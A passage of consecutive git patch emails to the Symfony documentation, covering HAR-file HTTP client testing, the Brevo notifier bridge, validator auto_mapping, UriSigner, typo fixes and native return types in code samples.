 .. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout
 .. _`DKIM`: https://en.wikipedia.org/wiki/DomainKeys_Identified_Mail
 .. _`download the foundation-emails.css file`: https://github.com/foundation/foundation-emails/blob/develop/dist/foundation-emails.css
@@ -1876,4 +1882,3 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`S/MIME`: https://en.wikipedia.org/wiki/S/MIME
 .. _`SendGrid`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Sendgrid/README.md
-.. _`Sendinblue`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Sendinblue/README.md

From 039ba692a58e81ff5fb2c010789740b8d550688d Mon Sep 17 00:00:00 2001
From: Gary PEGEOT <garypegeot@gmail.com>
Date: Mon, 10 Jul 2023 09:30:03 +0200
Subject: [PATCH 3495/5766] [HTTPClient] Add documentation for
 `HarFileResponseFactory`

Fixes https://github.com/symfony/symfony-docs/issues/18546
---
 http_client.rst | 40 ++++++++++++++++++++++++++++++++++++++++
 1 file changed, 40 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 3dd9e867bc1..c11bde2d15c 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -2196,6 +2196,45 @@ test it in a real application::
         }
     }
 
+Testing using HAR files
+~~~~~~~~~~~~~~~~~~~~~~~
+
+The previous example can also be achieved using `HAR`_ files. You can export those files from all modern browsers (from the network tab) &
+HTTP Clients. First, do the HTTP request(s) you want to test in your favorite HTTP Client / Browser, then store generated ``.har`` file somewhere in your application::
+
+    // ExternalArticleServiceTest.php
+    use PHPUnit\Framework\TestCase;
+    use Symfony\Component\HttpClient\MockHttpClient;
+    use Symfony\Component\HttpClient\Response\MockResponse;
+
+    final class ExternalArticleServiceTest extends TestCase
+    {
+        public function testSubmitData(): void
+        {
+            // Arrange
+            $fixtureDir = sprintf('%s/tests/fixtures/HTTP', static::getContainer()->getParameter('kernel.project_dir'));
+            $factory = new HarFileResponseFactory("$fixtureDir/example.com_archive.har");
+            $httpClient = new MockHttpClient($factory, 'https://example.com');
+            $service = new ExternalArticleService($httpClient);
+
+            // Act
+            $responseData = $service->createArticle($requestData);
+
+            // Assert
+            self::assertSame($responseData, 'the expected response');
+        }
+    }
+
+
+If your service does multiple requests or if your `.har` file contains multiple request / response pairs,
+the :class:`Symfony\\Component\\HttpClient\\Test\\HarFileResponseFactory` will find the associated response based on
+the request method, url and body (if any). Note that **this doesn't work** if the request body or uri is random / always changing
+(if it contains current date or random UUID(s) for example).
+
+.. versionadded:: 7.0
+
+    The ``HarFileResponseFactory`` was introduced in Symfony 7.0.
+
 Testing Network Transport Exceptions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -2262,3 +2301,4 @@ you to do so, by yielding the exception from its body::
 .. _`idempotent method`: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods
 .. _`SSRF`: https://portswigger.net/web-security/ssrf
 .. _`RFC 6570`: https://www.rfc-editor.org/rfc/rfc6570
+.. _`HAR`: https://w3c.github.io/web-performance/specs/HAR/Overview.html

From 61a75a876ca0571067db178e4940ed040abffdeb Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sun, 9 Jul 2023 10:57:16 +0200
Subject: [PATCH 3496/5766] [Notifier] Add Brevo bridge

---
 notifier.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 27a10a2a766..bf93b85769c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -62,6 +62,7 @@ Service             Package                                DSN
 `AllMySms`_         ``symfony/all-my-sms-notifier``        ``allmysms://LOGIN:APIKEY@default?from=FROM``
 `AmazonSns`_        ``symfony/amazon-sns-notifier``        ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
 `Bandwidth`_        ``symfony/bandwidth-notifier``         ``bandwidth://USERNAME:PASSWORD@default?from=FROM&account_id=ACCOUNT_ID&application_id=APPLICATION_ID&priority=PRIORITY``
+`Brevo`_            ``symfony/brevo-notifier``             ``brevo://API_KEY@default?sender=SENDER``
 `Clickatell`_       ``symfony/clickatell-notifier``        ``clickatell://ACCESS_TOKEN@default?from=FROM``
 `ContactEveryone`_  ``symfony/contact-everyone-notifier``  ``contact-everyone://TOKEN@default?&diffusionname=DIFFUSION_NAME&category=CATEGORY``
 `Esendex`_          ``symfony/esendex-notifier``           ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
@@ -119,7 +120,12 @@ Service             Package                                DSN
 
 .. versionadded:: 6.4
 
-    The Redlink integration was introduced in Symfony 6.4.
+    The `Redlink`_ and `Brevo`_ integrations were introduced in Symfony 6.4.
+
+.. deprecated:: 6.4
+
+    The `Sendinblue`_ integration is deprecated since
+    Symfony 6.4, use the `Brevo`_ integration instead.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
@@ -979,6 +985,7 @@ is dispatched. Listeners receive a
 .. _`AllMySms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/AllMySms/README.md
 .. _`AmazonSns`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/AmazonSns/README.md
 .. _`Bandwidth`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Bandwidth/README.md
+.. _`Brevo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Brevo/README.md
 .. _`Chatwork`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Chatwork/README.md
 .. _`Clickatell`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Clickatell/README.md
 .. _`ContactEveryone`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/ContactEveryone/README.md

From bc8d4763b700a138463629b50aa685ae160b9924 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sun, 9 Jul 2023 11:05:12 +0200
Subject: [PATCH 3497/5766] [Notifier] Remove the Sendinblue bridge

---
 notifier.rst                     | 2 --
 reference/configuration/twig.rst | 1 -
 2 files changed, 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 27a10a2a766..626b23f14f1 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -85,7 +85,6 @@ Service             Package                                DSN
 `Redlink`_          ``symfony/redlink-notifier``           ``redlink://API_KEY:APP_KEY@default?from=SENDER_NAME&version=API_VERSION``
 `RingCentral`_      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
 `Sendberry`_        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
-`Sendinblue`_       ``symfony/sendinblue-notifier``        ``sendinblue://API_KEY@default?sender=PHONE``
 `Sms77`_            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
 `SimpleTextin`_     ``symfony/simple-textin-notifier``     ``simpletextin://API_KEY@default?from=FROM``
 `Sinch`_            ``symfony/sinch-notifier``             ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
@@ -1024,7 +1023,6 @@ is dispatched. Listeners receive a
 .. _`RocketChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/RocketChat/README.md
 .. _`SMSFactor`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsFactor/README.md
 .. _`Sendberry`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendberry/README.md
-.. _`Sendinblue`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sendinblue/README.md
 .. _`SimpleTextin`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SimpleTextin/README.md
 .. _`Sinch`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sinch/README.md
 .. _`Slack`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Slack/README.md
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index d36584a7f6c..6de8ef24742 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -402,4 +402,3 @@ attribute or method doesn't exist. If set to ``false`` these errors are ignored
 and the non-existing values are replaced by ``null``.
 
 .. _`the optimizer extension`: https://twig.symfony.com/doc/3.x/api.html#optimizer-extension
-.. _`XSS attacks`: https://en.wikipedia.org/wiki/Cross-site_scripting

From ec88f6d96d136b603388326209e84bf131b121b9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 10 Jul 2023 11:48:50 +0200
Subject: [PATCH 3498/5766] Tweaks

---
 notifier.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index a8ddf6374c0..47aad3d263a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -121,11 +121,6 @@ Service             Package                                DSN
 
     The `Redlink`_ and `Brevo`_ integrations were introduced in Symfony 6.4.
 
-.. deprecated:: 6.4
-
-    The `Sendinblue`_ integration is deprecated since
-    Symfony 6.4, use the `Brevo`_ integration instead.
-
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 

From 71f2f821de2a8f28c456152cb54b531670947a53 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 10 Jul 2023 13:18:01 +0200
Subject: [PATCH 3499/5766] Minor rewords

---
 http_client.rst | 20 ++++++++++++--------
 1 file changed, 12 insertions(+), 8 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index c11bde2d15c..bc0a17b581a 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -2196,11 +2196,15 @@ test it in a real application::
         }
     }
 
-Testing using HAR files
+Testing Using HAR Files
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-The previous example can also be achieved using `HAR`_ files. You can export those files from all modern browsers (from the network tab) &
-HTTP Clients. First, do the HTTP request(s) you want to test in your favorite HTTP Client / Browser, then store generated ``.har`` file somewhere in your application::
+Modern browsers (via their network tab) and HTTP clients allow to export the
+information of one or more HTTP requests using the `HAR`_ (HTTP Archive) format.
+You can use those ``.har`` files to perform tests with Symfony's HTTP Client.
+
+First, use a browser or HTTP client to perform the HTTP request(s) you want to
+test. Then, save that information as a ``.har`` file somewhere in your application::
 
     // ExternalArticleServiceTest.php
     use PHPUnit\Framework\TestCase;
@@ -2225,11 +2229,11 @@ HTTP Clients. First, do the HTTP request(s) you want to test in your favorite HT
         }
     }
 
-
-If your service does multiple requests or if your `.har` file contains multiple request / response pairs,
-the :class:`Symfony\\Component\\HttpClient\\Test\\HarFileResponseFactory` will find the associated response based on
-the request method, url and body (if any). Note that **this doesn't work** if the request body or uri is random / always changing
-(if it contains current date or random UUID(s) for example).
+If your service performs multiple requests or if your ``.har`` file contains multiple
+request/response pairs, the :class:`Symfony\\Component\\HttpClient\\Test\\HarFileResponseFactory`
+will find the associated response based on the request method, URL and body (if any).
+Note that **this won't work** if the request body or URI is random / always
+changing (e.g. if it contains current date or random UUIDs).
 
 .. versionadded:: 7.0
 

From 07ac7553f611bd8991243fc9c2644a0a5ddc49e7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 10:18:53 +0200
Subject: [PATCH 3500/5766] [Validator] [Validation] Document the auto_mapping
 config option

---
 doctrine.rst                          | 16 +++++---
 reference/configuration/framework.rst | 59 +++++++++++++++++++++++++++
 2 files changed, 70 insertions(+), 5 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 74bbd073373..d582931b3e4 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -420,8 +420,12 @@ is smart enough to know if it should INSERT or UPDATE your entity.
 Validating Objects
 ------------------
 
-:doc:`The Symfony validator </validation>` reuses Doctrine metadata to perform
-some basic validation tasks::
+:doc:`The Symfony validator </validation>` can reuse Doctrine metadata to perform
+some basic validation tasks. First, add or configure the
+:ref:`auto_mapping option <reference-validation-auto-mapping>` to define which
+entities should be introspected by Symfony to add automatic validation constraints.
+
+Consider the following controller code::
 
     // src/Controller/ProductController.php
     namespace App\Controller;
@@ -455,9 +459,11 @@ some basic validation tasks::
     }
 
 Although the ``Product`` entity doesn't define any explicit
-:doc:`validation configuration </validation>`, Symfony introspects the Doctrine
-mapping configuration to infer some validation rules. For example, given that
-the ``name`` property can't be ``null`` in the database, a
+:doc:`validation configuration </validation>`, if the ``auto_mapping`` option
+includes it in the list of entities to introspect, Symfony will infer some
+validation rules for it and will apply them.
+
+For example, given that the ``name`` property can't be ``null`` in the database, a
 :doc:`NotNull constraint </reference/constraints/NotNull>` is added automatically
 to the property (if it doesn't contain that constraint already).
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ce08ef2f11a..5c39e4fd0cc 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2499,6 +2499,65 @@ enabled
 validation
 ~~~~~~~~~~
 
+.. _reference-validation-auto-mapping:
+
+auto_mapping
+............
+
+**type**: ``array`` **default**: ``[]``
+
+Defines the Doctrine entities that will be introspected to add
+:ref:`automatic validation constraints <automatic_object_validation>` to them:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        framework:
+            validation:
+                auto_mapping:
+                    # an empty array means that all entities that belong to that
+                    # namespace will add automatic validation
+                    'App\Entity\': []
+                    'Foo\': ['Foo\Some\Entity', 'Foo\Another\Entity']
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:validation>
+                    <framework:auto-mapping>
+                        <framework:service namespace="App\Entity\"/>
+
+                        <framework:service namespace="Foo\">Foo\Some\Entity</framework:service>
+                        <framework:service namespace="Foo\">Foo\Another\Entity</framework:service>
+                    </framework:auto-mapping>
+                </framework:validation>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->validation()
+                ->autoMapping()
+                    ->paths([
+                        'App\\Entity\\' => [],
+                        'Foo\\' => ['Foo\\Some\\Entity', 'Foo\\Another\\Entity'],
+                    ]);
+        };
+
 .. _reference-validation-enabled:
 
 enabled

From 93699b6d01d46c922175c6a519890b3c59ccf8ae Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Jul 2023 17:24:01 +0200
Subject: [PATCH 3501/5766] [HttpKernel] Document UriSigner

---
 routing.rst | 43 +++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 43 insertions(+)

diff --git a/routing.rst b/routing.rst
index a2d39841468..9047511e719 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2617,6 +2617,49 @@ defined as annotations:
     :doc:`another way to enforce HTTP or HTTPS </security/force_https>`
     via the ``requires_channel`` setting.
 
+Signing URIs
+~~~~~~~~~~~~
+
+A signed URI is an URI that includes a hash value that depends on the contents of
+the URI. This way, you can later check the integrity of the signed URI by
+recomputing its hash value and comparing it with the hash included in the URI.
+
+Symfony provides a utility to sign URIs via the :class:`Symfony\\Component\\HttpKernel\\UriSigner`
+service, which you can inject in your services or controllers::
+
+    // src/Service/SomeService.php
+    namespace App\Service;
+
+    use Symfony\Component\HttpKernel\UriSigner;
+
+    class SomeService
+    {
+        public function __construct(
+            private UriSigner $uriSigner,
+        ) {
+        }
+
+        public function someMethod()
+        {
+            // ...
+
+            // generate a URL youself or get it somehow...
+            $url = 'https://example.com/foo/bar?sort=desc';
+
+            // sign the URL (it adds a query parameter called '_hash')
+            $signedUrl = $this->uriSigner->sign($url);
+            // $url = 'https://example.com/foo/bar?sort=desc&_hash=e4a21b9'
+
+            // check the URL signature
+            $uriSignatureIsValid = $this->uriSigner->check($signedUrl);
+            // $uriSignatureIsValid = true
+
+            // if you have access to the current Request object, you can use this
+            // other method to pass the entire Request object instead of the URI:
+            $uriSignatureIsValid = $this->uriSigner->checkRequest($request);
+        }
+    }
+
 Troubleshooting
 ---------------
 

From 8b2b0ea722b67550958718d9385b7bf152fbddaa Mon Sep 17 00:00:00 2001
From: Peter Hauke <90506472+peterhauke@users.noreply.github.com>
Date: Tue, 11 Jul 2023 08:17:51 +0200
Subject: [PATCH 3502/5766] Fix typos

Remove unnecessary hyphen after "pure".

"server side" should be hyphenated: "server-side".
---
 frontend.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index da0564a5550..ad30b996462 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -6,7 +6,7 @@ Managing CSS and JavaScript
 
     Do you prefer video tutorials? Check out the `Webpack Encore screencast series`_.
 
-Symfony ships with a pure-JavaScript library - called Webpack Encore - that makes
+Symfony ships with a pure JavaScript library - called Webpack Encore - that makes
 it a joy to work with CSS and JavaScript. You can use it, use something else, or
 create static CSS and JS files in your ``public/`` directory directly and
 include them in your templates.
@@ -18,7 +18,7 @@ Webpack Encore
 
 `Webpack Encore`_ is a simpler way to integrate `Webpack`_ into your application.
 It *wraps* Webpack, giving you a clean & powerful API for bundling JavaScript modules,
-pre-processing CSS & JS and compiling and minifying assets. Encore gives you professional
+pre-processing CSS & JS and compiling and minifying assets. Encore gives you a professional
 asset system that's a *delight* to use.
 
 Encore is inspired by `Webpacker`_ and `Mix`_, but stays in the spirit of Webpack:
@@ -28,7 +28,7 @@ to solve the most common Webpack use cases.
 .. tip::
 
     Encore is made by `Symfony`_ and works *beautifully* in Symfony applications.
-    But it can be used in any PHP application and even with other server side
+    But it can be used in any PHP application and even with other server-side
     programming languages!
 
 .. _encore-toc:
@@ -45,7 +45,7 @@ Getting Started
 Adding more Features
 ....................
 
-* :doc:`CSS Preprocessors: Sass, LESS, etc </frontend/encore/css-preprocessors>`
+* :doc:`CSS Preprocessors: Sass, LESS, etc. </frontend/encore/css-preprocessors>`
 * :doc:`PostCSS and autoprefixing </frontend/encore/postcss>`
 * :doc:`Enabling React.js </frontend/encore/reactjs>`
 * :doc:`Enabling Vue.js (vue-loader) </frontend/encore/vuejs>`

From 0068934b5c574e1a611d4f84eb8291bbab356f91 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 11 Jul 2023 16:42:40 +0200
Subject: [PATCH 3503/5766] [Bridges][Bundles] Convert to native return types

---
 bundles/configuration.rst                       | 4 ++--
 bundles/extension.rst                           | 2 +-
 bundles/prepend_extension.rst                   | 2 +-
 components/console/changing_default_command.rst | 6 ++++--
 components/console/console_arguments.rst        | 4 ++--
 components/console/logger.rst                   | 4 +++-
 components/dependency_injection/compilation.rst | 2 +-
 configuration/using_parameters_in_dic.rst       | 2 +-
 console/calling_commands.rst                    | 2 +-
 console/verbosity.rst                           | 2 +-
 logging/monolog_console.rst                     | 4 +++-
 session.rst                                     | 4 ++--
 12 files changed, 22 insertions(+), 16 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index bc9efc1e0b9..366eec0d72c 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -458,7 +458,7 @@ the extension. You might want to change this to a more professional URL::
     {
         // ...
 
-        public function getNamespace()
+        public function getNamespace(): string
         {
             return 'http://acme_company.com/schema/dic/hello';
         }
@@ -490,7 +490,7 @@ can place it anywhere you like. You should return this path as the base path::
     {
         // ...
 
-        public function getXsdValidationBasePath()
+        public function getXsdValidationBasePath(): string
         {
             return __DIR__.'/../Resources/config/schema';
         }
diff --git a/bundles/extension.rst b/bundles/extension.rst
index f831efdaf5b..82c8fb05183 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -34,7 +34,7 @@ This is how the extension of an AcmeHelloBundle should look like::
 
     class AcmeHelloExtension extends Extension
     {
-        public function load(array $configs, ContainerBuilder $container)
+        public function load(array $configs, ContainerBuilder $container): void
         {
             // ... you'll load the files here later
         }
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 8d28080470f..b94b647671e 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -31,7 +31,7 @@ To give an Extension the power to do this, it needs to implement
     {
         // ...
 
-        public function prepend(ContainerBuilder $container)
+        public function prepend(ContainerBuilder $container): void
         {
             // ...
         }
diff --git a/components/console/changing_default_command.rst b/components/console/changing_default_command.rst
index f8b100993a9..b739e3b39ba 100644
--- a/components/console/changing_default_command.rst
+++ b/components/console/changing_default_command.rst
@@ -15,14 +15,16 @@ name to the ``setDefaultCommand()`` method::
     #[AsCommand(name: 'hello:world')]
     class HelloWorldCommand extends Command
     {
-        protected function configure()
+        protected function configure(): void
         {
             $this->setDescription('Outputs "Hello World"');
         }
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $output->writeln('Hello World');
+
+            return Command::SUCCESS;
         }
     }
 
diff --git a/components/console/console_arguments.rst b/components/console/console_arguments.rst
index d7bf141f4ce..da538ac78f1 100644
--- a/components/console/console_arguments.rst
+++ b/components/console/console_arguments.rst
@@ -22,7 +22,7 @@ Have a look at the following command that has three options::
     #[AsCommand(name: 'demo:args', description: 'Describe args behaviors')]
     class DemoArgsCommand extends Command
     {
-        protected function configure()
+        protected function configure(): void
         {
             $this
                 ->setDefinition(
@@ -34,7 +34,7 @@ Have a look at the following command that has three options::
                 );
         }
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             // ...
         }
diff --git a/components/console/logger.rst b/components/console/logger.rst
index afeab7dd0cb..5aa72a9d02d 100644
--- a/components/console/logger.rst
+++ b/components/console/logger.rst
@@ -44,12 +44,14 @@ You can rely on the logger to use this dependency inside a command::
     )]
     class MyCommand extends Command
     {
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $logger = new ConsoleLogger($output);
 
             $myDependency = new MyDependency($logger);
             $myDependency->doStuff();
+
+            return Command::SUCCESS;
         }
     }
 
diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index 1f450df28ed..64209c1586c 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -408,7 +408,7 @@ class implementing the ``CompilerPassInterface``::
 
     class CustomPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $container)
+        public function process(ContainerBuilder $container): void
         {
             // ... do something during the compilation
         }
diff --git a/configuration/using_parameters_in_dic.rst b/configuration/using_parameters_in_dic.rst
index 05008114e01..259a0b9d974 100644
--- a/configuration/using_parameters_in_dic.rst
+++ b/configuration/using_parameters_in_dic.rst
@@ -135,7 +135,7 @@ And set it in the constructor of ``Configuration`` via the ``Extension`` class::
     {
         // ...
 
-        public function getConfiguration(array $config, ContainerBuilder $container)
+        public function getConfiguration(array $config, ContainerBuilder $container): Configuration
         {
             return new Configuration($container->getParameter('kernel.debug'));
         }
diff --git a/console/calling_commands.rst b/console/calling_commands.rst
index 001dc47e35e..089688767fe 100644
--- a/console/calling_commands.rst
+++ b/console/calling_commands.rst
@@ -27,7 +27,7 @@ method)::
     {
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output): void
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $command = $this->getApplication()->find('demo:greet');
 
diff --git a/console/verbosity.rst b/console/verbosity.rst
index 7df68d30f23..f7a1a1e5e59 100644
--- a/console/verbosity.rst
+++ b/console/verbosity.rst
@@ -69,7 +69,7 @@ level. For example::
                 OutputInterface::VERBOSITY_VERBOSE
             );
 
-            return 0;
+            return Command::SUCCESS;
         }
     }
 
diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index ad06cfabbff..8d296883b50 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -47,10 +47,12 @@ The example above could then be rewritten as::
         ) {
         }
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $this->logger->debug('Some info');
             $this->logger->notice('Some more info');
+
+            return Command::SUCCESS;
         }
     }
 
diff --git a/session.rst b/session.rst
index 1dcbaa71b4b..2f8848f860b 100644
--- a/session.rst
+++ b/session.rst
@@ -1464,7 +1464,7 @@ event::
         ) {
         }
 
-        public function onInteractiveLogin(InteractiveLoginEvent $event)
+        public function onInteractiveLogin(InteractiveLoginEvent $event): void
         {
             $user = $event->getAuthenticationToken()->getUser();
 
@@ -1473,7 +1473,7 @@ event::
             }
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 SecurityEvents::INTERACTIVE_LOGIN => 'onInteractiveLogin',

From 64c21225b94b229555eebba1fb04c0e13e8a4981 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 6 Jul 2023 15:33:45 +0200
Subject: [PATCH 3504/5766] Revamp the kernel configuration reference

---
 reference/configuration/framework.rst |   4 +
 reference/configuration/kernel.rst    | 345 ++++++++++++++++++--------
 2 files changed, 249 insertions(+), 100 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0fc4f6223f6..c6b49cf69de 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -24,6 +24,8 @@ configured under the ``framework`` key in your application configuration.
 Configuration
 -------------
 
+.. _configuration-framework-secret:
+
 secret
 ~~~~~~
 
@@ -475,6 +477,8 @@ If ``true``, Symfony adds a ``X-Robots-Tag: noindex`` HTTP tag to all responses
 This option is a protection measure in case you accidentally publish your site
 in debug mode.
 
+.. _configuration-framework-trusted-hosts:
+
 trusted_hosts
 ~~~~~~~~~~~~~
 
diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 3ac25fbb7c5..20787e153d8 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -1,133 +1,107 @@
 Configuring in the Kernel
 =========================
 
-Some configuration can be done on the kernel class itself (located by default at
-``src/Kernel.php``). You can do this by overriding specific methods of
-the parent :class:`Symfony\\Component\\HttpKernel\\Kernel` class.
+Symfony applications define a kernel class (which is located by default at
+``src/Kernel.php``) that includes several configurable options. This article
+explains how to configure those options and shows the list of container parameters
+created by Symfony based on that configuration.
 
-Configuration
--------------
+.. _configuration-kernel-build-directory:
 
-In previous Symfony versions there was another configuration option to define
-the "kernel name", which is only important when
-:doc:`using applications with multiple kernels </configuration/multiple_kernels>`.
-If you need a unique ID for your kernels use the ``kernel.container_class``
-parameter or the ``Kernel::getContainerClass()`` method.
+``kernel.build_dir``
+--------------------
 
-.. _configuration-kernel-charset:
+**type**: ``string`` **default**: ``$this->getCacheDir()``
 
-Charset
-~~~~~~~
+This parameter stores the absolute path of a build directory of your Symfony application.
+This directory can be used to separate read-only cache (i.e. the compiled container)
+from read-write cache (i.e. :doc:`cache pools </cache>`). Specify a non-default
+value when the application is deployed in a read-only filesystem like a Docker
+container or AWS Lambda.
 
-**type**: ``string`` **default**: ``UTF-8``
+This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kernel::getBuildDir`
+method of the kernel class, which you can override to return a different value.
 
-This option defines the charset that is used in the application. This value is
-exposed via the ``kernel.charset`` configuration parameter and the
-:method:`Symfony\\Component\\HttpKernel\\Kernel::getCharset` method.
+``kernel.bundles``
+------------------
 
-To change this value, override the ``getCharset()`` method and return another
-charset::
+**type**: ``array`` **default**: ``[]``
 
-    // src/Kernel.php
-    namespace App;
+This parameter stores the list of :doc:`bundles </bundles>` registered in the
+application and the FQCN of their main bundle class::
 
-    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
-    // ...
-
-    class Kernel extends BaseKernel
-    {
-        public function getCharset(): string
-        {
-            return 'ISO-8859-1';
-        }
-    }
-
-.. _configuration-kernel-project-directory:
-
-Project Directory
-~~~~~~~~~~~~~~~~~
-
-**type**: ``string`` **default**: the directory of the project ``composer.json``
-
-This returns the absolute path of the root directory of your Symfony project,
-which is used by applications to perform operations with file paths relative to
-the project's root directory.
+    [
+        'FrameworkBundle' => 'Symfony\Bundle\FrameworkBundle\FrameworkBundle',
+        'TwigBundle' => 'Symfony\Bundle\TwigBundle\TwigBundle',
+        // ...
+    ]
 
-By default, its value is calculated automatically as the directory where the
-main ``composer.json`` file is stored. This value is exposed via the
-``kernel.project_dir`` configuration parameter and the
-:method:`Symfony\\Component\\HttpKernel\\Kernel::getProjectDir` method.
+This value is also exposed via the :method:`Symfony\\Component\\HttpKernel\\Kernel::getBundles`
+method of the kernel class.
 
-If you don't use Composer, or have moved the ``composer.json`` file location or
-have deleted it entirely (for example in the production servers), you can
-override the :method:`Symfony\\Component\\HttpKernel\\Kernel::getProjectDir`
-method to return the right project directory::
